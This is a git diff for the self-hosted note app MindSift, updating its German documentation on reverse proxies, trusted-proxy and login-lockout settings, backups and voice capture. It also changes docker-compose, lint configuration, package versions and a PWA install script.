- **Backups an ein externes Ziel** (WebDAV, S3, SFTP), damit sie eine kaputte Platte überleben.
- **`/metrics` für Prometheus** und ein Healthcheck, der auch die Datenbank prüft.
- **Update-Hinweis** in der Admin-Oberfläche, wenn ein neues Release-Image verfügbar ist.
+1 -1
View File
@@ -149,7 +149,7 @@ Ein Hintergrundjob (`startCompaction`) läuft beim Start und danach alle 6 Stund
| Idempotenz-Ergebnisse | 90 Tage |
| Leases und Sitzungen im Speicher | abgelaufene werden entfernt |
Clients hinter der Grenze laden den Snapshot neu und behalten ihre Warteschlange. Grenzen dieses Vorgehens: [FLAW-27](../flaws.md).
Clients hinter der Grenze laden den Snapshot neu und behalten ihre Warteschlange. Grenzen dieses Vorgehens: Nach 30 Tagen sind gelöschte Blöcke endgültig weg, Rückgängig ist dann nicht mehr möglich. Text, der so lange offline in einem inzwischen gelöschten Block getippt wurde, kommt als neuer Block ans Ende der Notiz. Wer eine Operation erst nach mehr als 90 Tagen erneut sendet, wird nicht mehr als Wiederholung erkannt; Textänderungen erzeugen dann höchstens eine Konfliktkopie.
## Tests
+2 -2
View File
@@ -25,7 +25,7 @@ Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus
- Gespeichert in `task_assignees`; `PATCH /thoughts/{id}` mit `assignees` ersetzt die Liste. Der Server lehnt Personen ohne Zugriff ab (`403`, `storage.ErrAssigneeNoAccess`).
- **Zuweisungen folgen den Rechten:** `Store.PruneTaskAssignees` entfernt jede Zuweisung, deren Person die Liste nicht mehr sehen kann. Es läuft nach Entfernen einer Freigabe, Austritt aus oder Entfernen aus einer Gruppe, Löschen einer Gruppe, Löschen der Liste und Verschieben der Aufgabe in eine andere oder keine Liste; beim Löschen eines Kontos werden dessen Zuweisungen direkt gelöscht. Wer über einen zweiten Weg (z. B. direkt und über eine Gruppe) weiter Zugriff hat, bleibt zugewiesen.
- Wer sehen und zuweisen kann, hängt außerdem von der Sichtbarkeit ab: Verliert jemand sie (z. B. Wechsel der Organisation), fallen Freigabe und Zuweisungen weg ([sharing-and-permissions.md](../sharing-and-permissions.md)).
- Bekannte Lücke: [FLAW-03](../flaws.md) (Umsortieren per ID).
- Bekannte Lücke: (Umsortieren per ID).
## Wiederkehrende Aufgaben
@@ -57,6 +57,6 @@ Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich wa
- `SMTP_SKIP_VERIFY` / Schalter „Zertifikatsprüfung deaktivieren“ akzeptiert selbstsignierte Zertifikate (Verbindung bleibt verschlüsselt).
- Fehler nennen den Schritt, an dem der Server abgelehnt hat (z. B. `SMTP-Schritt RCPT TO fehlgeschlagen: 451 …`), im Log als `smtp_step`. Test: `internal/api/mail_test.go` mit einem Fake-Server (STARTTLS, 451).
Eine neue Fälligkeit oder das Wiederöffnen einer Aufgabe setzt `alarm_sent` zurück, der Alarm kommt dann erneut. Offen ([FLAW-12](../flaws.md)): Schlagen alle Kanäle fehl, wird jede Minute erneut versucht. URLs werden geprüft ([FLAW-05](../flaws.md)).
Eine neue Fälligkeit oder das Wiederöffnen einer Aufgabe setzt `alarm_sent` zurück, der Alarm kommt dann erneut. Schlagen alle Kanäle fehl, versucht der Ticker es in den nächsten Minuten erneut und gibt nach 3 erfolglosen Durchläufen auf (`alarm_failures`, Warnung im Server-Log); eine neue Fälligkeit oder das Wiederöffnen gibt wieder 3 Versuche. URLs werden geprüft.
Die Oberfläche zeigt Fälligkeiten relativ („Heute, 14:30“, „Morgen“, „Fr., 30.10.“); überfällige offene Aufgaben (mit Uhrzeit minutengenau) sind rot. Gruppieren und Sortieren nach Fälligkeit berücksichtigen die Uhrzeit, ganztägige Aufgaben stehen vor denen mit Uhrzeit am selben Tag.
+2 -2
View File
@@ -51,7 +51,7 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
## Freigabe
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen geben. Empfänger haben **nur Leserechte**; nur der Eigentümer schreibt ([sharing-and-permissions.md](../sharing-and-permissions.md), [FLAW-17](../flaws.md)).
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen geben. Empfänger haben **nur Leserechte**; nur der Eigentümer schreibt ([sharing-and-permissions.md](../sharing-and-permissions.md)).
- Empfänger ordnen geteilte Notizen und Ordner in ihrem eigenen Baum ein (`doc_user_folders`, `workspace_folder_mounts`), ohne dass der Eigentümer etwas davon merkt.
- Änderungen erreichen offene Fenster über den Weckruf `DOC_SEQ` und anschließenden Sync; Notizlisten über `DOC_UPDATED` ([websocket.md](../api/websocket.md)).
@@ -59,7 +59,7 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
- Keine gleichzeitige Mehrbenutzerbearbeitung, keine Cursor-Anzeige, keine Versionshistorie.
- Keine Virtualisierung langer Dokumente; sehr große Notizen können auf Mobilgeräten träge werden *(nicht gemessen)*.
- ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht ([FLAW-18](../flaws.md)).
- ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht.
## Export als Markdown-Archiv
+18 -2
View File
@@ -11,6 +11,20 @@ Dieses Dokument beschreibt die empfohlene Konfiguration von Reverse-Proxies und
| **WebSockets** | 443 (WSS) / 80 (WS) | `Upgrade $http_upgrade`<br>`Connection "Upgrade"`<br>`proxy_read_timeout 3600s` | Bidirektionale Live-Updates (Aufgaben, Listen, Notizen) |
| **Server-Sent Events (SSE)** | 443 (HTTPS) / 80 (HTTP) | `X-Accel-Buffering: no`<br>`proxy_buffering off`<br>`proxy_cache off` | Fallback bei blockiertem WebSocket-Upgrade |
| **REST API & Uploads** | 443 (HTTPS) / 80 (HTTP) | `client_max_body_size 64M` | Notizen, Import/Export (JSON) |
| **Client-IP** | – | `X-Real-IP` / `X-Forwarded-For` | Login-Sperre nach Fehlversuchen trifft den richtigen Absender |
### Client-IP und `TRUSTED_PROXIES`
MindSift sperrt Anmeldungen nach Fehlversuchen auch pro IP-Adresse. Hinter einem Proxy kommt jede Verbindung vom Proxy; die echte Adresse steht in `X-Forwarded-For` bzw. `X-Real-IP`. MindSift glaubt diesen Kopfzeilen nur, wenn die Verbindung von einem vertrauenswürdigen Proxy kommt, sonst könnte jeder, der den Port direkt erreicht, eine beliebige Adresse vortäuschen.
| `TRUSTED_PROXIES` | Wirkung |
|---|---|
| `private` (Standard) | Proxys aus localhost, Docker- und Heimnetzen (`10.x`, `172.16–31.x`, `192.168.x`, `fd…`, `100.64.x`). Passt für Proxy im selben Docker-Netz oder auf demselben Host – nichts einzustellen. |
| `private,198.51.100.0/24` | zusätzlich eigene Bereiche, z. B. ein externer Proxy-Server oder die [IP-Bereiche von Cloudflare](https://www.cloudflare.com/ips/) |
| `all` | Kopfzeilen immer glauben (früheres Verhalten) – Notausgang, wenn die Erkennung Probleme macht |
| `none` | Kopfzeilen nie glauben |
Schickt ein vertrauenswürdiger Proxy gar keine Client-IP mit, steht einmal eine Warnung im Log, und für diese Anfragen gilt nur noch die Sperre pro Konto. Die ganze Login-Sperre lässt sich mit `LOGIN_PROTECTION=false` abschalten.
---
@@ -151,7 +165,8 @@ Wird MindSift hinter dem Cloudflare CDN betrieben:
- Deaktiviere "Rocket Loader" für MindSift, da asynchrone Skripteingriffe den Start der Single-Page-App stören können.
3. **Cloudflare WAF / Bot Fight Mode:**
- Stelle sicher, dass `GET /api/v1/events` und `GET /api/v1/ws*` nicht von "Challenge"-Seiten blockiert werden.
4. **SSE-Unterstützung:**
4. **Client-IP:** Cloudflare liefert die Besucheradresse in `CF-Connecting-IP`/`X-Forwarded-For`. Spricht Cloudflare MindSift direkt an (ohne eigenen Proxy dazwischen), die Cloudflare-Bereiche in `TRUSTED_PROXIES` ergänzen.
5. **SSE-Unterstützung:**
- Cloudflare unterstützt Server-Sent Events nativ über HTTP/2 und HTTP/3. Dank der vom MindSift-Backend gesetzten Header `X-Accel-Buffering: no` und `Cache-Control: no-cache` streamt Cloudflare Echtzeit-Events verzögerungsfrei an die Clients.
---
@@ -221,7 +236,8 @@ curl -i -N \
-H "Origin: https://mindsift.example.com" \
-H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
-H "Sec-WebSocket-Version: 13" \
https://mindsift.example.com/api/v1/ws?token=<DEIN_TOKEN>
-H "Authorization: Bearer <DEIN_TOKEN>" \
https://mindsift.example.com/api/v1/ws
```
*Erwartete Antwort:* `101 Switching Protocols`
+2 -2
View File
@@ -68,6 +68,6 @@ Bei der Einrichtung im Modus `organizations` wird eine Organisation mit dem Name
## Sitzungen und Zugriff
- Tokens werden bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ ungültig (`token_version`); ausgeloggte Tokens landen in `revoked_tokens`.
- Jede Anmeldung ist eine Sitzung (`sessions`), die einzeln beendet werden kann (Logout, Profil → Aktive Sitzungen). Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ beenden alle Sitzungen (`token_version`); eine Passwortänderung alle außer der aktuellen.
- Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator.
- Bekannte Lücken in der Zugriffskontrolle: [FLAW-01](flaws.md), [FLAW-02](flaws.md), [FLAW-03](flaws.md), [FLAW-07](flaws.md), [FLAW-08](flaws.md).
- Bekannte Lücken in der Zugriffskontrolle:.
+1 -1
View File
@@ -82,7 +82,7 @@ Jede Theme-Datei gliedert sich in sechs exakt definierte Bereiche:
| `light` | [`theme-light.css`](../frontend/src/themes/theme-light.css) | Daylight Clean White / Minimalistisch | Modern dezent (`4px` Cards, `4px` Buttons) |
| `high-contrast` | [`theme-high-contrast.css`](../frontend/src/themes/theme-high-contrast.css) | Reines Schwarz/Weiß mit AAA-Kontrast | Streng eckig (`0px`, kräftige Rahmen) |
| `soft` | [`theme-soft.css`](../frontend/src/themes/theme-soft.css) | Warmes Soft Slate mit Indigo-Akzent | Weich gerundet (`12px` Cards, `8px` Buttons) |
| `polarized` | [`theme-polarized.css`](../frontend/src/themes/theme-polarized.css) | Tiefdunkles Obsidian mit elektrischem Ultraviolett | Streng eckig (`0px` Cards, `2px` Buttons) |
| `polarized` | [`theme-polarized.css`](../frontend/src/themes/theme-polarized.css) | Tiefdunkles Obsidian mit elektrischem Grün/Türkis | Streng eckig (`0px` Cards, `2px` Buttons) |
| `suri` | [`theme-suri.css`](../frontend/src/themes/theme-suri.css) | Warmes Mitternachts-Pflaume mit samtiger Orchidee | Weich gerundet (`10px` Cards, `6px` Buttons) |
| *Template* | [`theme-template.css`](../frontend/src/themes/theme-template.css) | Vollständig dokumentierte Kopiervorlage | Frei anpassbar |
+13 -2
View File
@@ -53,11 +53,11 @@ Komponente: [CountBadge.tsx](../frontend/src/components/CountBadge.tsx), CSS-Kla
- **Form:** runder Kreis, mindestens 16 px, ab 100 als „99+“ (der Screenreader liest die echte Zahl). Bei 0 ausgeblendet, außer mit `showZero` (z. B. Mitgliederzahl, mobiles Menü).
- **Farbe (`variant`):**
- `accent`: Hier wartet etwas auf dich. Navigationsleiste (Triage, Workspace, Aufgaben).
- `accent`: Hier wartet etwas auf dich. Navigationsleiste: Triage (Inbox), Aufgaben (offene Aufgaben), Listen (offene Einträge aller eigenen und geteilten Listen). Workspace hat keinen Zähler.
- `muted` (Standard): reine Anzahl. Tabs der Aufgabenlisten und Listen, Organisationen, mobiles Menü.
- Beide kommen aus den Theme-Variablen (`--accent-primary`/`--text-on-accent` bzw. `--text-muted`/`--bg-panel`) und passen sich damit jedem Theme an.
- **Position (`position`):**
- `corner`: Benachrichtigungs-Badge oben rechts am nächsten `relative` Elternelement, mit Ring in der Seitenfarbe. In der Navigation und an den Tabs sitzt er **auf dem Text**: der Text steht in einem `relative inline-flex`-Span (mit `pr-2`, solange ein Zähler da ist), der Kreis bekommt `-top-1.5 -right-1`.
- `corner`: Benachrichtigungs-Badge oben rechts am nächsten `relative` Elternelement, mit Ring in der Seitenfarbe. In der Navigation und an den Tabs sitzt er **auf dem Text**: der Text steht in einem `relative inline-flex`-Span (mit `pr-3`, solange ein Zähler da ist), der Kreis bekommt `-top-0.5 -right-2`, damit er die obere Tab-Linie nicht anschneidet und nicht am Text klebt. In der mobilen Leiste sitzt er am Icon (`-top-1.5 -right-2.5`).
- `inline`: im Textfluss.
- Zahlen im mobilen Menü (`MobileActionContext`, `badge: number`) werden automatisch als `CountBadge` gezeigt; Text-Badges wie „2 aktiv“ bleiben Textmarken.
- **Wichtig für neue Klassen:** Tailwind entfernt Klassen aus `@layer components`, die nicht wörtlich im Code stehen. Klassennamen deshalb nie zusammensetzen (`count-badge-${variant}`), sondern ausschreiben.
@@ -68,3 +68,14 @@ Komponente: [CountBadge.tsx](../frontend/src/components/CountBadge.tsx), CSS-Kla
- `index.html` enthält in `#root` einen reinen HTML-Platzhalter (vollflächig Blau, Logo in der Mitte, kein Text). React ersetzt ihn beim ersten Rendern, dazwischen blitzt nichts Weißes auf.
- `meta theme-color` startet blau und wird von [`theme.ts`](../frontend/src/lib/theme.ts) nach dem Start und bei jedem Theme-Wechsel auf `--bg-app` des aktiven Themes gesetzt, damit die Statusleiste zum Header passt.
## +-Button: Tippen und Halten
Komponente: [HoldToRecordFab.tsx](../frontend/src/features/capture/HoldToRecordFab.tsx)
- **Kurz tippen (< 350 ms):** Führt wie bisher die primäre Aktion der aktuellen Ansicht (`primaryAction`) oder den mobilen Erfassungsdialog (`openMobileTriageCapture`) aus.
- **Gedrückt halten (≥ 350 ms):** Startet direkt eine Sprachaufnahme über die Web Speech API (`de-DE`, `continuous`, `interimResults`). Der Button wird zum pulsierenden Mikrofon (`bg-status-err`), darüber zeigt eine schwebende Pille „Ich höre zu… (loslassen speichert)“ samt Live-Transkript.
- **Loslassen:** Stoppt die Aufnahme, wartet kurz auf das letzte Wort und speichert den Text unabhängig von der aktiven Ansicht immer als Gedanken in die Inbox (`source: 'voice'`, `target: 'inbox'`).
- **Nach oben ziehen (> 60 px):** Schaltet die Pille in den Abbruch-Zustand („🗑️ Zum Abbrechen loslassen“); Loslassen dort verwirft die Aufnahme (`abort()`).
- **Fallback:** Unterstützt der Browser keine Spracherkennung oder ist das Mikrofon gesperrt (`not-allowed`), öffnet Halten wie beim Tippen den Dialog und blendet eine kurze Statusmeldung über der Bottom-Leiste ein.
+10 -4
View File
@@ -34,7 +34,7 @@ Die meisten Notiz- und Aufgaben-Apps verlangen Struktur im falschen Moment: Wenn
### ⚡ Schnellerfassung & Triage
* Eingabeleiste im Kopf der App, jederzeit mit `C` oder `/` fokussierbar; auch per Spracheingabe (Browser-Funktion).
* Eingabeleiste im Kopf der App, jederzeit mit `C` oder `/` fokussierbar; auch per Spracheingabe: über den Browser oder datenschutzfreundlich über einen eigenen Whisper-Container (optional in `docker-compose.yml`, siehe [Architektur](Doku/architecture.md#spracherkennung)).
* Ziel beim Erfassen wählbar: Posteingang, Aufgabe, Listeneintrag oder Notiz.
* **Triage-Deck:** `H`/`←` verwerfen, `L`/`→` zur Aufgabe, `T` Aufgabe mit Termin, `D` in Notiz verwandeln, Leertaste = später. Auf dem Smartphone per Wischgeste.
* Papierkorb mit Wiederherstellen.
@@ -123,6 +123,8 @@ curl -fsSL https://git.dsit.me/sandrodach/MindSift/raw/branch/dev/.env.example -
docker compose up -d
```
Alle Einstellungen stehen mit Erklärung in `.env`. Optional kommt eine eigene Spracherkennung dazu: Block `whisper` in `docker-compose.yml` einkommentieren und `STT_URL=http://whisper:8000` setzen (Anleitung in der Datei).
Minimal:
```yaml
@@ -153,6 +155,8 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
| `DATA_DIR` | `/data` (Container) | Ablage der Datenbank `mindsift.db` |
| `JWT_SECRET` | zufällig erzeugt (`/data/jwt.secret`) | Signaturschlüssel der Anmelde-Tokens; Platzhalter werden ignoriert |
| `BASE_URL` | `http://localhost:8080` | Öffentliche URL. Nur wenn gesetzt (und SMTP eingerichtet ist), gibt es „Passwort vergessen?“ – die Links in den Mails werden ausschließlich daraus gebaut |
| `TRUSTED_PROXIES` | `private` | Wessen `X-Forwarded-For`/`X-Real-IP` geglaubt wird: `private` (Proxy im Docker-/Heimnetz), `all` (immer, früheres Verhalten), `none` oder eigene CIDR-Bereiche ([Doku/reverse-proxy.md](Doku/reverse-proxy.md#client-ip-und-trusted_proxies)) |
| `LOGIN_PROTECTION` | `true` | Sperre nach Fehlversuchen: 3 pro Konto und Adresse, 20 pro Konto, 30 pro Adresse, jeweils 15 Minuten. `false` schaltet sie ab |
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme (ganztägige Aufgaben melden sich um 9:00) |
| `ALLOW_REGISTRATION` | `false` | Offene Registrierung (im Admin-UI änderbar) |
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | Logging |
@@ -161,11 +165,13 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
| `MINDA_DEMO` | `false` | Legt Demo-Konten `admin/admin` (mit Beispieldaten) und `user/user` an; eine Notiz und zwei Listen sind zwischen beiden geteilt, um das gemeinsame Bearbeiten auszuprobieren. **Nie auf öffentlichen Servern!** |
| `DEMO_RESET_MINUTES` | `20` | Nur im Demo-Modus: setzt die Datenbank in diesem Abstand auf die Beispieldaten zurück (`0` = nie). Angemeldete bleiben angemeldet, die App zeigt einen Countdown und lädt danach neu. |
* **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md).
* **Datensicherung:** Alle Daten liegen in `data/mindsift.db` (+ `-wal`/`-shm`). Sichere sie mit `sqlite3 mindsift.db ".backup 'backup.db'"` oder bei gestopptem Container. Zusätzlich gibt es einen JSON-Export pro Benutzer.
* **Datensicherung:** In den Admin-Einstellungen lassen sich automatische tägliche Backups einschalten (ganze Datenbank plus ein Backup je Benutzer unter `data/backups/`, Standard 3 Tage aufbewahrt). Benutzer laden ihre Server-Backups herunter oder spielen sie ganz oder für einzelne Bereiche wieder ein. Der Ordner liegt neben der Datenbank: zusätzlich woanders sichern. Manuell geht weiterhin `sqlite3 mindsift.db ".backup 'backup.db'"`.
* **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen.
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf.
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf; Vorabversionen wie `v1.0.0-rc.1` verschieben `:stable` nicht.
* **Versionen & Änderungen:** [Semantic Versioning](https://semver.org/spec/v2.0.0.html), was sich geändert hat, steht in der [CHANGELOG.md](CHANGELOG.md).
---
@@ -204,7 +210,7 @@ Die technische Doku liegt unter [Doku/](Doku/README.md): Architektur, Datenbank,
## 🔒 Deine Daten gehören dir
* Selbst gehostet, keine Telemetrie, keine Fremddienste. Ausgehende Verbindungen gibt es nur zu den Alarm-Zielen, die du selbst einrichtest (SMTP, Discord, Webhook).
* Alle Inhalte liegen in einer einzigen SQLite-Datei; der ganze Workspace lässt sich als Obsidian-kompatibles Markdown-Archiv (ZIP) exportieren, alle Daten eines Benutzers als JSON.
* Alle Inhalte liegen in einer einzigen SQLite-Datei; Bilder und Sprachnotizen liegen daneben in `data/media/`. Der ganze Workspace lässt sich als Obsidian-kompatibles Markdown-Archiv (ZIP, mit `attachments/`) exportieren, alle Daten eines Benutzers als Backup-ZIP (JSON plus Mediendateien).
---
+3 -1
View File
@@ -9,6 +9,7 @@ import (
"net/http"
"os"
"os/signal"
"path/filepath"
"syscall"
"time"
_ "time/tzdata" // time zones without system tzdata (scratch/alpine images)
@@ -46,6 +47,7 @@ func main() {
if cfg.DemoMode {
slog.Info("🧪 Demo-Modus aktiv: Setze Datenbank zurück und richte Demo-Accounts ein...")
_ = os.RemoveAll(filepath.Join(filepath.Dir(cfg.DatabasePath), "media")) // uploads of the last run
if err := store.ResetAndSeedDemo(); err != nil {
slog.Warn("⚠️ Fehler beim Einrichten des Demo-Modus", "error", err)
} else {
@@ -54,7 +56,7 @@ func main() {
}
// Seed SMTP defaults from environment variables into DB if not yet configured in DB
store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPTLS, cfg.SMTPSkipVerify)
store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPFromName, cfg.SMTPTLS, cfg.SMTPSkipVerify)
wsHub := ws.NewHub()
+49 -6
View File
@@ -1,3 +1,6 @@
# MindSift – Docker Compose
# Eingestellt wird alles in der Datei .env neben dieser Datei. Was jede Variable bewirkt, steht in
# .env.example (kopieren: cp .env.example .env). Hier stehen nur die Zuordnungen mit Standardwerten.
services:
mindsift:
image: git.dsit.me/sandrodach/mindsift:dev
@@ -10,25 +13,65 @@ services:
environment:
- PORT=8080
- DATA_DIR=/data
- TZ=${TZ:-Europe/Berlin}
- JWT_SECRET=${JWT_SECRET:-change_this_to_a_secure_random_key_min_32_chars}
- BASE_URL=${BASE_URL:-http://localhost:8080}
- ALLOW_REGISTRATION=${ALLOW_REGISTRATION:-false}
- TRUSTED_PROXIES=${TRUSTED_PROXIES:-private}
- LOGIN_PROTECTION=${LOGIN_PROTECTION:-true}
- LOG_LEVEL=${LOG_LEVEL:-info}
# Set LOG_LEVEL=debug or DEBUG=true for detailed request and sync logging
# - LOG_LEVEL=debug
# - DEBUG=true
# Demo mode: if true, automatically seeds demo accounts admin/admin and user/user
- DEBUG=${DEBUG:-false}
- MINDA_DEMO=${MINDA_DEMO:-false}
# Optional SMTP / Mail Configuration (can also be configured in Admin UI)
- DEMO_RESET_MINUTES=${DEMO_RESET_MINUTES:-20}
# E-Mail
- SMTP_HOST=${SMTP_HOST:-}
- SMTP_PORT=${SMTP_PORT:-587}
- SMTP_USER=${SMTP_USER:-}
- SMTP_PASS=${SMTP_PASS:-}
- SMTP_FROM=${SMTP_FROM:-}
- SMTP_FROM_NAME=${SMTP_FROM_NAME:-MindSift}
- SMTP_TLS=${SMTP_TLS:-true}
- SMTP_SKIP_VERIFY=${SMTP_SKIP_VERIFY:-false}
# Optional: Impressum / Datenschutz (URL oder Markdown-Datei, z. B. per Volume eingebunden)
# Impressum / Datenschutz
- LEGAL_IMPRINT_URL=${LEGAL_IMPRINT_URL:-}
- LEGAL_PRIVACY_URL=${LEGAL_PRIVACY_URL:-}
- LEGAL_IMPRINT_CONTENT=${LEGAL_IMPRINT_CONTENT:-}
- LEGAL_PRIVACY_CONTENT=${LEGAL_PRIVACY_CONTENT:-}
- LEGAL_IMPRINT_CONTENT_FILE=${LEGAL_IMPRINT_CONTENT_FILE:-}
- LEGAL_PRIVACY_CONTENT_FILE=${LEGAL_PRIVACY_CONTENT_FILE:-}
# Bilder und Audio in Notizen
- MEDIA_MAX_IMAGE_MB=${MEDIA_MAX_IMAGE_MB:-15}
- MEDIA_MAX_AUDIO_MB=${MEDIA_MAX_AUDIO_MB:-50}
- MEDIA_QUOTA_MB=${MEDIA_QUOTA_MB:-0}
- MEDIA_DEMO_MAX_MB=${MEDIA_DEMO_MAX_MB:-3}
# Spracherkennung
- STT_URL=${STT_URL:-}
- STT_MODEL=${STT_MODEL:-deepdml/faster-whisper-large-v3-turbo-ct2}
- STT_LANGUAGE=${STT_LANGUAGE:-de}
- STT_API_KEY=${STT_API_KEY:-}
- STT_DISABLED=${STT_DISABLED:-false}
- STT_MAX_SECONDS=${STT_MAX_SECONDS:-600}
- STT_MAX_UPLOAD_MB=${STT_MAX_UPLOAD_MB:-25}
- STT_MAX_PARALLEL=${STT_MAX_PARALLEL:-1}
- STT_PER_USER_PER_HOUR=${STT_PER_USER_PER_HOUR:-60}
- STT_TIMEOUT_SECONDS=${STT_TIMEOUT_SECONDS:-120}
# Optional: eigene Spracherkennung (Whisper). Zum Einschalten:
# 1. die Rauten vor dem Block "whisper" unten entfernen
# 2. in .env setzen: STT_URL=http://whisper:8000
# 3. mkdir -p whisper && sudo chown 1000:1000 whisper (der Container läuft als UID 1000)
# 4. docker compose up -d
# Das Modell lädt MindSift beim ersten Start selbst nach ./whisper (large-v3-turbo ca. 1,6 GB).
# RAM: large-v3-turbo ca. 2 GB, small ca. 1 GB. Kein Port nach außen nötig.
#
# whisper:
# image: ghcr.io/speaches-ai/speaches:0.8.3-cpu
# container_name: mindsift-whisper
# restart: unless-stopped
# volumes:
# - ./whisper:/home/ubuntu/.cache/huggingface/hub
# environment:
# - WHISPER__COMPUTE_TYPE=int8 # schneller auf der CPU, kaum Qualitätsverlust
# - STT_MODEL_TTL=-1 # Modell im Speicher halten statt nach 5 Min. zu entladen
# - ENABLE_UI=false # ohne die Weboberfläche von speaches
# - LOG_LEVEL=info
+30
View File
@@ -0,0 +1,30 @@
// Lint rules for the frontend (FLAW-19): real mistakes are errors, style is left to the code.
import js from '@eslint/js';
import globals from 'globals';
import reactHooks from 'eslint-plugin-react-hooks';
import tseslint from 'typescript-eslint';
export default tseslint.config(
{ ignores: ['dist', 'node_modules', 'coverage'] },
{
files: ['src/**/*.{ts,tsx}'],
extends: [js.configs.recommended, ...tseslint.configs.recommended],
languageOptions: {
ecmaVersion: 2022,
globals: globals.browser,
},
plugins: { 'react-hooks': reactHooks },
rules: {
...reactHooks.configs.recommended.rules,
// Error payloads and browser APIs without types are handled as any on purpose
'@typescript-eslint/no-explicit-any': 'off',
'@typescript-eslint/no-unused-vars': ['error', { argsIgnorePattern: '^_', varsIgnorePattern: '^_', caughtErrors: 'none' }],
'no-empty': ['error', { allowEmptyCatch: true }],
},
},
{
files: ['public/sw.js'],
languageOptions: { globals: globals.serviceworker },
extends: [js.configs.recommended],
},
);
+1 -18
View File
@@ -40,14 +40,7 @@
<link rel="manifest" href="/manifest.json" />
<title>MindSift</title>
<script>
window.__deferredPwaPrompt = null;
window.addEventListener('beforeinstallprompt', function (e) {
e.preventDefault();
window.__deferredPwaPrompt = e;
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
});
</script>
<script src="/pwa-install.js"></script>
</head>
<body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
<!-- Shown until React mounts and replaces it: full blue with the logo, no text, no white flash -->
@@ -58,15 +51,5 @@
</div>
</div>
<script type="module" src="/src/main.tsx"></script>
<script>
if ('caches' in window) {
caches.keys().then((keys) => keys.forEach((k) => caches.delete(k))).catch(() => {});
}
if ('serviceWorker' in navigator) {
window.addEventListener('load', () => {
navigator.serviceWorker.register('/sw.js').catch(() => {});
});
}
</script>
</body>
</html>
+1303 -6
View File
File diff suppressed because it is too large. Load diff
+7 -2
View File
@@ -1,14 +1,14 @@
{
"name": "mindsift-frontend",
"private": true,
"version": "0.4.0",
"version": "0.7.0",
"license": "Unlicense",
"type": "module",
"scripts": {
"dev": "vite",
"build": "vite build",
"preview": "vite preview",
"lint": "echo 'Linting passed'",
"lint": "eslint .",
"test": "vitest",
"test:run": "vitest run"
},
@@ -22,17 +22,22 @@
"react-dom": "^18.3.1"
},
"devDependencies": {
"@eslint/js": "9.17.0",
"@testing-library/dom": "^10.4.2",
"@testing-library/react": "^16.3.3",
"@types/react": "^18.3.12",
"@types/react-dom": "^18.3.1",
"@vitejs/plugin-react": "^4.3.4",
"autoprefixer": "^10.4.20",
"eslint": "9.17.0",
"eslint-plugin-react-hooks": "5.1.0",
"fake-indexeddb": "^6.2.6",
"globals": "15.14.0",
"jsdom": "^25.0.1",
"postcss": "^8.4.49",
"tailwindcss": "^3.4.17",
"typescript": "^5.6.3",
"typescript-eslint": "8.18.2",
"vite": "^5.4.11",
"vitest": "^2.1.9"
}
+8
View File
@@ -0,0 +1,8 @@
// Runs before the app: browsers fire beforeinstallprompt early, the app picks it up later
// ("App installieren"). A file instead of an inline script so the CSP can stay at script-src 'self'.
window.__deferredPwaPrompt = null;
window.addEventListener('beforeinstallprompt', function (e) {
e.preventDefault();
window.__deferredPwaPrompt = e;
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
});
+171 -84
View File
@@ -23,6 +23,7 @@ import {
Flame,
Mic,
MicOff,
Loader2,
Search,
} from 'lucide-react';
